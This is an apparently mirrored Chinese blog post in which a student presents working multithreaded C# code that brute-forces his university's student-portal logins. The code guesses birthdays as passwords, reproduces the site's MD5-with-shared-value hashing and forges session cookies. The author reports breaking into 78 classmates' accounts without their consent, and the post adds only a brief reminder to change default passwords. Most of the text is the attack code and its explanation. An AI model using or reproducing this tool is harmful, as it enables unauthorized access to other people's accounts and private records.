zoukankan      html  css  js  c++  java
  • C#构造Http 破解学校教务系统学生账号密码

    背景介绍

      我们学校的教务系统的是以学生学号作为登陆账号,初始密码是自己的生日。

    一点点想法

      每次期末查成绩的时候,我都会有一个想法,要是我能跑到系统后台,把自己的成绩修改一下,那该时间多么舒坦的事情啊。当然,我目前还并没有这么做。^_^  光看自己的成绩不过瘾,有时候还想看下同学的成绩。怎么办呢?突然,我发现我从来没有改过我的密码,那会不会有很多人像我这样,没有改密码呢?如果是这样,那么密码就应该主要局限于1991年到1994年的所有日期了,空间集就大大减小了。那我是不是可以暴力得进行破解呢?如果这样就直接不停地给服务器发送http数据包,并分析服务器相应的结果,不就可以了么?好了,基本的思路我有了,由于只是在应用层上做文章,我打算用C#实现。

    开始尝试,发现困难

      我利用fiddle捕获了点击登录按钮后,发送给服务器的数据结果如图:

          

      这是HTTP数据包的头部,另外post的数据为:

      

      遮住的部分是我的学号,结果我发现password发送的居然不是我的生日,而是一串很长的字母数字串,于是我查看网页源码,发现里面有一段这样的的js语句:

      

    <form name="frmLogin" method="post" action="./Servlet/UsersControl" onsubmit="return selectType();">
    ………………………………
    </form>
    
    function selectType()
    {
        …………
        change();   
    }
    
    
    function change()
    {
         var pw = document.frmLogin.password.value;
         pw = hex_md5(pw);
         pw = hex_md5(pw+sharedValue); //用共享数值再次加密
         document.frmLogin.password.value = pw ;
    }

      简单的说一下这一段的意思,form就是我们提交的表单,点击登录按钮之前调用 selectType(),selectType()在代码的最后面调用了change()函数,而change()函数改变了我们提交给服务器的密码值。而且在change()函数里shareValue这个值每次请求,服务器返回的值是不一样的,服务器通过这个值来对密码进行加密。这下算是总算明白为什么会提交一串看不懂的数字字母了(而且每次还不一样,因为shareValue每次都不一样)。

      进一步挖掘,发现hex_md5这个函数,在一个js文件里面,这个文件里面存在这一下加密函数,对输入参数做了很复杂的变换,我简单地看了一下里面的逻辑,发现都是一点函数的调用,并没有涉及到其他的文件与资源。到这里,我们已经基本了解了整个加密过程。于是,只要我们按照这样的顺序对密码进行同样的处理,就能得到正确的密码。而在C#有个开源项目 Javascript .NET,可以通过它去调用并执行Js。

      但问题并没有这么简单,细心的你观察Http数据包头部可以发现里面的cookie有三个参数,而且前两个是通过Js直接设置的,最后一个是服务器设置的。所以通过C#中的HttpWebRequest对象请求,只能得到最后一个JSESSIONID的值,例外两个需要在程序里面另外设置。

    最终实现

      实现框架:

            for :date从1991到1994年所有的日期

            if(Crack(学号,date)){

              破解成功;

            }

        bool Crack(学号,日期){

            构造合适的HttpWebRequest对象请求登陆页面;

            分析网页代码得到shareValue的值并与日期一起传递给加密函数得到Post数据里面的password;

            将得到的cookie值提取出来,赋给下一次请求的HttpWebRequest对象,同时添加另外两个cookie值;

            再次发起请求通过分析服务器相应判断该日期是否正确,正确返回true,不正确返回false;

        }

         实践中发现单纯使用这种方式破解一个账号的速度大约是30分钟,主要原因是每次网络请求的开销比较大。后来我在原来思路的基础上,加入了多线程的方法,把破解速度提高到平均每3-5分钟破解一个。

    具体代码:

     1     public class Date {
     2         public int y1;
     3         public int y2;
     4         public int m1;
     5         public int m2;
     6         public int d1;
     7         public int d2;
     8         public string stuNumber;
     9 
    10         public Date(int a, int b, int c, int d, int e, int f,string num) {
    11             y1 = a;
    12             m1 = b;
    13             d1 = c;
    14             y2 = d;
    15             m2 = e;
    16             d2 = f;
    17             stuNumber = num;
    18         }
    19     }
    View Code

      这个类代表待破解的学号,以及相应的日期区间 从y1-m1-d1到y2-m2-d2。

     1         static private bool func(string stunum, string birth)
     2         {
     3             try
     4             {
     5                 HttpWebRequest rqst = (HttpWebRequest)WebRequest.Create("http://********************");
     6                 rqst.CookieContainer = new CookieContainer();
     7                 rqst.Accept = "text/html, application/xhtml+xml, */*";
     8                 rqst.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)";
     9                 rqst.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3";
    10                 rqst.Headers["Accept-Language"] = "zh-CN,zh;q=0.3";
    11                 rqst.Method = "GET";
    12                 rqst.KeepAlive = true;
    13 
    14                 HttpWebResponse httpWebResponse = (HttpWebResponse)rqst.GetResponse();
    15                 var ttt = httpWebResponse.Cookies;
    16                 Cookie cookie1 = ttt[0];
    17 
    18                 Stream responseStream = httpWebResponse.GetResponseStream();
    19                 StreamReader streamReader = new StreamReader(responseStream, Encoding.ASCII);
    20                 string html = streamReader.ReadToEnd();
    21 
    22                 StreamReader sr = new StreamReader("md5.js");
    23                 string md5 = sr.ReadToEnd();
    24                 var lines = html.Split('
    ');
    25                 string temp = lines[406];
    26                 var key = temp.Substring(18);
    27 
    28                 using (JavascriptContext ctx = new JavascriptContext())
    29                 {
    30                     var i = ctx.Run(md5);
    31                     ctx.Run("var sharedValue = " + key + ";" + "pw = '" + birth + "';pw = hex_md5(pw);pw = hex_md5(pw+sharedValue);");
    32                     var pw = ctx.GetParameter("pw");
    33 
    34                     CookieContainer objcok = new CookieContainer();
    35                     objcok.Add(new Uri("http://****************"), new Cookie("cck_lasttime", "1421808890459"));
    36                     objcok.Add(new Uri("http://*****************"), new Cookie("cck_count", "0"));
    37                     objcok.Add(new Uri("*********************"), new Cookie(cookie1.Name.ToString(), cookie1.Value.ToString()));
    38 
    39                     HttpWebRequest rqst3 = (HttpWebRequest)WebRequest.Create("http://**************");
    40                     rqst3.Method = "POST";
    41                     rqst3.ContentType = "application/x-www-form-urlencoded";
    42                     rqst3.Referer = "http://****************";
    43                     rqst3.Accept = "text/html, application/xhtml+xml, *?*";
    44                     rqst3.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)";
    45                     rqst3.ServicePoint.ConnectionLimit = 300;
    46                     rqst3.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3";
    47                     rqst3.Headers["Accept-Language"] = "zh-CN,zh;q=0.3";
    48                     rqst3.CookieContainer = new CookieContainer();
    49                     rqst3.CookieContainer = objcok;
    50 
    51 
    52                     Encoding encoding = Encoding.ASCII;
    53                     string postDataStr3 = "uid=" + stunum + "&password=" + pw + "&sltType=%D1%A7+%C9%FA&Submit=%C8%B7+%B6%A8&command=studentLogin";
    54                     byte[] postData = encoding.GetBytes(postDataStr3);
    55                     rqst3.ContentLength = postData.Length;
    56                     Stream requestStream = rqst3.GetRequestStream();
    57                     requestStream.Write(postData, 0, postData.Length);
    58 
    59                     HttpWebResponse httpWebResponse3 = (HttpWebResponse)rqst3.GetResponse();
    60                     Stream responseStream3 = httpWebResponse3.GetResponseStream();
    61                     StreamReader streamReader3 = new StreamReader(responseStream3, Encoding.GetEncoding("gb2312"));
    62                     string html2 = streamReader3.ReadToEnd();
    63                     if (httpWebResponse3.ResponseUri.ToString() == "************************")
    64                         return true;
    65                 }
    66                 return false;
    67             }
    68             catch (Exception e) {
    69                 Console.WriteLine("error:" +stunum + '	' + birth);
    70                 return false;
    71             }
    72         }
    View Code

         这个是上面所说的的Crack函数;

     1         static public void threadFunc(object da){
     2             Date date = (Date)da;
     3             for (int y = date.y1; y <= date.y2; y++)
     4             {
     5                 for (int m = date.m1; m <= date.m2; m++)
     6                 {
     7                     for (int d = date.d1; d <= date.d2; d++)
     8                     {
     9                         if (flag == 1)
    10                             return;
    11                         StringBuilder tempStr = new StringBuilder();
    12                         tempStr.Append(y.ToString());
    13                         if (m < 10)
    14                         {
    15                             tempStr.Append("0" + m.ToString());
    16                         }
    17                         else
    18                         {
    19                             tempStr.Append(m.ToString());
    20                         }
    21                         if (d < 10)
    22                         {
    23                             tempStr.Append("0" + d.ToString());
    24                         }
    25                         else
    26                         {
    27                             tempStr.Append(d.ToString());
    28                         }
    29                         if (func(date.stuNumber, tempStr.ToString()))
    30                         {
    31                             psword = tempStr.ToString();
    32                             flag = 1;
    33                             break;
    34                         }
    35                     }
    36                     if (flag == 1) break;
    37                 }
    38                 if (flag == 1) break;
    39             }
    40         }
    View Code

      多线程的线程函数,通过传递参数的不同,对不同时间区间同时破解。

     1 static void Main(string[] args)
     2         {
     3             for (int num = ******; num < ******; num++) {
     4                 Console.WriteLine("0" + num);
     5                 FileStream fs = new FileStream("dic.txt", FileMode.Append);
     6                 StreamWriter sw = new StreamWriter(fs, Encoding.Default);
     7                 Date date1 = new Date(1991, 1, 1, 1991, 3, 31,"0" + num);
     8                 Date date2 = new Date(1991, 4, 1, 1991, 6, 30, "0" + num);
     9                 Date date3 = new Date(1991, 7, 1, 1991, 9, 30, "0" + num);
    10                 Date date4 = new Date(1991, 10, 1, 1991, 12, 31, "0" + num);
    11                 Date date5 = new Date(1992, 1, 1, 1992, 3, 31, "0" + num);
    12                 Date date6 = new Date(1992, 4, 1, 1992, 6, 30, "0" + num);
    13                 Date date7 = new Date(1992, 7, 1, 1992, 9, 30, "0" + num);
    14                 Date date8 = new Date(1992, 10, 1, 1992, 12, 31, "0" + num);
    15                 Date date9 = new Date(1993, 1, 1, 1993, 3, 31, "0" + num);
    16                 Date date10 = new Date(1993, 4, 1, 1993, 6, 30, "0" + num);
    17                 Date date11 = new Date(1993, 7, 1, 1993, 9, 30, "0" + num);
    18                 Date date12 = new Date(1993, 10, 1, 1993, 12, 31, "0" + num);
    19                 Date date13 = new Date(1994, 1, 1, 1994, 3, 31, "0" + num);
    20                 Date date14 = new Date(1994, 4, 1, 1994, 6, 30, "0" + num);
    21 
    22                 Thread thread1 = new Thread(new ParameterizedThreadStart(threadFunc));
    23                 Thread thread2 = new Thread(new ParameterizedThreadStart(threadFunc));
    24                 Thread thread3 = new Thread(new ParameterizedThreadStart(threadFunc));
    25                 Thread thread4 = new Thread(new ParameterizedThreadStart(threadFunc));
    26                 Thread thread5 = new Thread(new ParameterizedThreadStart(threadFunc));
    27                 Thread thread6 = new Thread(new ParameterizedThreadStart(threadFunc));
    28                 Thread thread7 = new Thread(new ParameterizedThreadStart(threadFunc));
    29                 Thread thread8 = new Thread(new ParameterizedThreadStart(threadFunc));
    30                 Thread thread9 = new Thread(new ParameterizedThreadStart(threadFunc));
    31                 Thread thread10 = new Thread(new ParameterizedThreadStart(threadFunc));
    32                 Thread thread11 = new Thread(new ParameterizedThreadStart(threadFunc));
    33                 Thread thread12 = new Thread(new ParameterizedThreadStart(threadFunc));
    34                 Thread thread13 = new Thread(new ParameterizedThreadStart(threadFunc));
    35                 Thread thread14 = new Thread(new ParameterizedThreadStart(threadFunc));
    36 
    37                 thread1.Start(date1);
    38                 thread2.Start(date2);
    39                 thread3.Start(date3);
    40                 thread4.Start(date4);
    41                 thread5.Start(date5);
    42                 thread6.Start(date6);
    43                 thread7.Start(date7);
    44                 thread8.Start(date8);
    45                 thread9.Start(date9);
    46                 thread10.Start(date10);
    47                 thread11.Start(date11);
    48                 thread12.Start(date12);
    49                 thread13.Start(date13);
    50                 thread14.Start(date14);
    51 
    52                 thread1.Join();
    53                 thread2.Join();
    54                 thread3.Join();
    55                 thread4.Join();
    56                 thread5.Join();
    57                 thread6.Join();
    58                 thread7.Join();
    59                 thread8.Join();
    60                 thread9.Join();
    61                 thread10.Join();
    62                 thread11.Join();
    63                 thread12.Join();
    64                 thread13.Join();
    65                 thread14.Join();
    66 
    67                 if (flag == 1) {
    68                     sw.WriteLine("0" + num + '	' + psword);
    69                     flag = 0;
    70                 }
    71                 sw.Close();
    72                 fs.Close();
    73             }
    74         }
    View Code

      主函数写得有点丑。大家请见谅,如果大家有更优雅的方法实现,可以指教一下。

      大致的过程就是这样,最后说说成果吧,我对我们班100来号人的账号进行了尝试,结果破解了78位同学的账号,这个过程大概花了一整个下午的时间。原来大部分人都和我一样,没有改密码。在此提醒哪些不该初始密码的同学,不该初始密码,就相当于告诉了别人你的密码空间是什么样的,这将大大降低破解的时间,所以希望能够引起大家对修改密码必要性的重视。

  • 相关阅读:
    Xcode 环境下的汇编与 C/C++/ObjC (上)
    OpenGL ES的从地上爬起来,第1部分:
    Accessorizer的使用说明!
    我常用的iphone开发学习网站
    ruby+seleniumwebdriver一步一步完成自动化测试(2)—–一个测试用例
    Selenium Grid深入学习
    Seleniumwebdriver系列教程(14)————为firefox设置代理
    Seleniumwebdriver系列教程(15)————万能的截图
    Selenium Grid
    RSPEC入门学习
  • 原文地址:https://www.cnblogs.com/yan-boy/p/4249218.html
Copyright © 2011-2022 走看看